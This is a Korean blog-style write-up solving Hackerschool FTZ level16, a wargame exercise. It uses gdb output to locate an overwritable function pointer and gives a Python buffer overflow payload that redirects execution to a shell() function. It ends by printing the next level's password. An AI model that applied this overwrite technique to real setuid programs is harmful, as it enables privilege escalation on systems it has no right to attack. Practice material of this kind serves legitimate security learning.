[해커스쿨FTZ]Level16

FTZ level16

printit()함수는 hello there! 문자열을 출력하는 함수.

(*call)()=printit 으로 인해 call()함수가 호출되면서 printit()함수를 호출한다.

main+3 : 스택을 0x38(56바이트) 확장

ebp : 0xbfffe258 value: 0xbfffe278
esp : 0xbfffe210 value: 0xbfffe220
main+16 : mov DWORD PTR [ebp-16],0x8048419 이게 printit()함수인듯하다
x/x 0x8048419 => printit함수 : 0x83e58955
main+46 : mov eax, DWORD PTR [ebp-16]
ebp-16 : 0xbfffe248 value: 0x0804000a
main+46이후 : eax 주소:0x804000a value : 134479882 
ebp-16을 printit함수가 아니라 shell함수의 주소를 넣어주도록 한다.

disas shell을 통해 shell함수의 시작 주소를 알 수 있다.
0x080483ec<shell+0>


40바이트 A + shell함수 주소(ebp-16부분)이면 될듯?

풀이는 맞는데.. 다른 사람들 풀이랑 나랑 주소가 약간 다르다.
완전히 똑같은 서버가 아니라 로컬 서버니까 뭔가 차이가 날 수도 있겠다는 생각.

다른 사람들의 shell함수 주소는 0x080484d0이다.
shell함수 주소만 바꿔넣어주면 풀 수 있다.

공격구문은
(python -c 'print "A"*40+"\xd0\x84\x04\x08"';cat) | ./attackme

level17 password : "king poetic"





댓글